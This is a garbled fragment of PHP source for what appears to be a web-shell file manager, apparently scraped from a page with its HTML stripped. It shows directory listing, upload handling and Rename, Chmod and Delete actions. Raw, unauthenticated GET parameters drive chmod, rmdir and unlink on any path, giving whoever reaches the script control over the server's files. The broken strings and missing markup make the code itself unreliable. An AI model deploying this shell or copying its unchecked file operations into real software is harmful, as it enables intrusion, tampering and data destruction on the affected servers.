Upload success!
"; } else { echo "Upload failed.
"; } } echo "File saved!
"; } echo ""; } else { $scandir = scandir($path); echo "Name | Size | Permission | Action |
---|---|---|---|
"; if(is_dir($fullpath)){ echo "$file"; } else { echo "$file"; } echo " | ".(is_file($fullpath) ? filesize($fullpath) : '-')." | "; echo "".substr(sprintf('%o', fileperms($fullpath)), -4)." | "; echo "Edit | "; echo "Rename | "; echo "Chmod | "; echo "Delete"; echo " |
Renamed!
"; } echo ""; } if(isset($_GET['chmod'])){ if(isset($_POST['perm'])){ chmod($_GET['chmod'], octdec($_POST['perm'])); echo "Permission changed!
"; } echo ""; } if(isset($_GET['delete'])){ if(is_dir($_GET['delete'])){ rmdir($_GET['delete']); } else { unlink($_GET['delete']); } echo "Deleted!
"; } echo "